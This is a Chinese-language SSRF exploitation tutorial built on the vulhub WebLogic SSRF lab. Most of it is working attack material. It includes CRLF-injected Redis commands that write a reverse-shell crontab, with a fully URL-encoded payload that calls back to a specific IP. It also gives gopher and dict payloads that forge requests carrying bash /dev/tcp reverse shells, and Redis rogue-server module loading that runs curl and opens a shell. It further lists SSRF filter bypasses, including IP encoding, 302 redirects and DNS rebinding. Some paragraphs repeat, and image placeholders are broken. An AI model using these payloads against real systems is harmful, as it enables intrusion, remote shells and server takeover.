复现环境使用vulhup weblogic ssrf
地址:https://vulhub.org/#/environments/weblogic/ssrf/
vulhub使用:https://vulhub.org/#/docs/run/
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Redis一般运行在内网,大多绑定与6379端口,且一般为空口令
攻击者通过ssrf漏洞未授权访问内网Redis,导致任意增删改查其中内容,甚至利用导出功能写入crontab,webshell和ssh公钥(导出功能写入的文件所有者为redis的启动用户,一般启动用户为root,如果启动用户权限较低,将无法完成攻击)
Redis是一条指令执行一个行为,如果其中一条指令是错误的,那么会继续读取下一条,所以如果发送的报文中可以控制其中一行,就可以将其修改为Redis指令,分批执行指令,完成攻击。如果可以控制多行报文,那么可以在一次连接中完成攻击
在攻击Redis的时候,一般是写入Crontab反弹shell,通常的攻击流程如下:
redis-cli flushall
echo -e "\n\n*/1**** bash -i /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1 \n\n" | redis-cli -x set 1
redis-cli config set dir /var/spoll/cron/
redis-cli config set dbfilename root
redis-cli save
解析:
redis-cli
redis命令行工具
-x 代表从标准输入读取数据作为该命令的最后一个参数
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启
可修改的配置参数使用命令 config get * 列出
echo -e
如果遇到转义字符,特别加以处理,不会将它当作一般文字输出
https://www.linuxprobe.com/how-to-crontab.html
""代表所有的取值范围内的数字,如月份字段为,则表示1到12个月;
"/"代表每一定时间间隔的意思,如分钟字段为*/10,表示每10分钟执行1次。
"-"代表从某个区间范围,是闭区间。如“2-5”表示“2,3,4,5”,小时字段中0-23/2表示在0~23点范围内每2个小时执行一次。
","分散的数字(不一定连续),如1,2,3,4,7,9。
每一分钟执行一次command(因cron默认每1分钟扫描一次,因此全为*即可)
* * * * * command
通过header CRLF 注入
SSRF漏洞存在于
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
使用工具
bp抓包
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可访问端口会得到错误,一般是 status code
如果访问的非http协议,则会返回
did not have a valid SOAP content-type
如果访问不存在的端口,将会返回
could not connect over HTTP to server
通过错误的不同,即可探测内网的状态
攻击前首先要知道redis服务器内网IP和端口,可以通过bp或者脚本来进行
同过破解我们知道redis ip为172.22.0.2:6379
接下来编写exp,redis通过换行来区分每一条指令,虽然weblogic的ssrf是get请求,也可以通过传入 %0a%0d
来注入换行,实现攻击redis的目的
发送三条redis命令,将弹shell脚本写入 /etc/crontab 文件
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/121.196.173.254/8000 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
通过工具进行url编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%200%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27sh%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F121%2E196%2E173%2E254%2F8000%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
进行拼接后发送数据
成功连接
坑点:直接在浏览器访问的话,浏览器会有url解码,所以尽量bp抓包,或者两次url编码
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机
此种方法能攻击成功的前提条件是:redis是以root权限运行的
redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送
关于dict协议:
> dict://serverip:port/命令:参数
> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。
curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:
/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall
这样就代表可以成功执行命令。
先清除没用的数据,防止定时任务执行失败
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall
利302跳转写入反弹命令
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234
设置导出路径
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/
设置导出名字
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root
导出
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save
使用burp发包,为了避免语句顺序执行错误,故第一个包先跑20个在跑第二个包以此类推,如果是批量内网ip存在6379端口,那么C段用通配符“*”表示。
在公网机上使用nc持续监听1234端口,等一会儿把包发完就会反弹shell。
可进行利用的cron有如下几个地方:
在靶机上执行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻击机上执行:nc -lvp 2333
post请求为:
_POST /test/ssrf/post.php HTTP/1.1
Host: 192.168.220.139
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd=ccccc
bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
将其进行url两次编码,然后结合gopher协议和curl命令,payload如下:
curl -v
'http://xxx.xxx.xx.xx/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'
攻击机先运行nc命令,然后curl发送请求。
如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。
php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
前提:
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php
操作也是很平常的操作,如同你在 redis-cli 中操作一样
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:8379
2.设置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3.载入 exp.so
/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5.恢复原始文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6.执行命令
/api/test/http_get?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
7.反弹 shell
/api/test/http_get?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:2323
2.设置保存路径
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
设置shell内容
/api/test/http_get?url=dict://127.0.0.1:6379/set:xxx:"\n\n\n\n\n\n"
3.设置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
4.保存
/api/test/http_get?url=dict://127.0.0.1:6379/save
5.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one
mysql分为客户端和服务端,有客户端连接服务端有4种方式
mysql攻击依靠第4种方式,MySQL客户端连接时会出现两种情况,即是否需要密码认证。当需要进行密码认证时,服务器先发送salt,然后客户端使用salt加密密码再验证。当不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行
更多参考ctfer从0到1
利用条件如下:Libcurl,版本高于7.45.0;PHP-FPM,监听端口,版本高于5.3.3;知道服务器上任意一个PHP文件的绝对路径
首先,FastCGI本质上是一个协议,在CGI的基础上进行了优化。PHP-FPM是实现和管理FastCGI的进程。在PHP-FPM下如果通过FastCGI模式,通信还可分为两种:TCP和UNIX套接字(socket)
TCP模式是在本机上监听一个端口,默认端口号为9000,Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析
更多参考ctfer从0到1
内网中的Web应用因为无法被外网的攻击者访问到,所以往往会忽视其安全威胁
gopher://_url编码后的http header
https://github.com/tarunkant/Gopherus
Enclosed alphanumerics代替IP中的数字或网址中的字母
进制转换
十进制、八进制(最前面加0)、十六进制(最前面加0x)
特殊写法
在Windows下,0代表0.0.0.0,而在Linux下,0代表127.0.0.1
某些情况下可以用http://0进行请求127.0.0.1
302跳转
xip.io的服务,当访问这个服务的任意子域名时,都会重定向到这个子域名,如127.0.0.1.xip.io解析127.0.0.1
sudo.cc指向127.0.0.1绕过正则过滤,同理也可以自己指向127.0.0.1
短网址绕过
有时服务端可能过滤了很多协议,如传入的URL中只允许出现“http”或“https”,那么可以在自己的服务器上写一个302跳转,利用Gopher协议攻击内网的Redis
在某些情况下,针对SSRF的过滤可能出现下述情况:通过传入的URL提取出host,随即进行DNS解析,获取IP地址,对此IP地址进行检验,判断是否合法,如果检测通过,则再使用curl进行请求。那么,这里再使用curl请求的时候会做第二次请求,即对DNS服务器重新请求,如果在第一次请求时其DNS解析返回正常地址,第二次请求时的DNS解析却返回了恶意地址,那么就完成了DNS Rebinding攻击
DNS重绑定的攻击首先需要攻击者自己有一个域名,通常有两种方式。第一种是绑定两条记录,见图2-1-29。这时解析是随机的,但不一定会交替返回。所以,这种方式需要一定的概率才能成功。
第二种方式则比较稳定,自己搭建一个DNS Server,在上面运行自编的解析服务,使其每次返回的都不同。先给域名添加两条解析,一条A记录指向服务器地址,一条NS记录指向上条记录地址。
行请求。那么,这里再使用curl请求的时候会做第二次请求,即对DNS服务器重新请求,如果在第一次请求时其DNS解析返回正常地址,第二次请求时的DNS解析却返回了恶意地址,那么就完成了DNS Rebinding攻击
DNS重绑定的攻击首先需要攻击者自己有一个域名,通常有两种方式。第一种是绑定两条记录,见图2-1-29。这时解析是随机的,但不一定会交替返回。所以,这种方式需要一定的概率才能成功。
[外链图片转存中…(img-qudFfAg8-1619440806987)]
第二种方式则比较稳定,自己搭建一个DNS Server,在上面运行自编的解析服务,使其每次返回的都不同。先给域名添加两条解析,一条A记录指向服务器地址,一条NS记录指向上条记录地址。
[外链图片转存中…(img-V6wIdNmP-1619440806988)]
[外链图片转存中…(img-Ff8VdG2J-1619440806989)]
Redis为了应对读写量较大的问题,提供了一种主从模式,使用一个Redis实例作为主机只负责写,其余实例都为从机,只负责读,主从机间数据相同,其次在Redis 4.x后新增加了模块的功能,通过外部的扩展可以实现一条新的Redis命令,因为此时已经完全控制了Redis,所以可以通过将此机设置为自己VPS的从机,在主机上通过FULLSYNC同步备份一个恶意扩展到从机上加载。在Github上可以搜到关于该攻击的exp,如https://github.com/n0b0dyCN/redis-rogue-server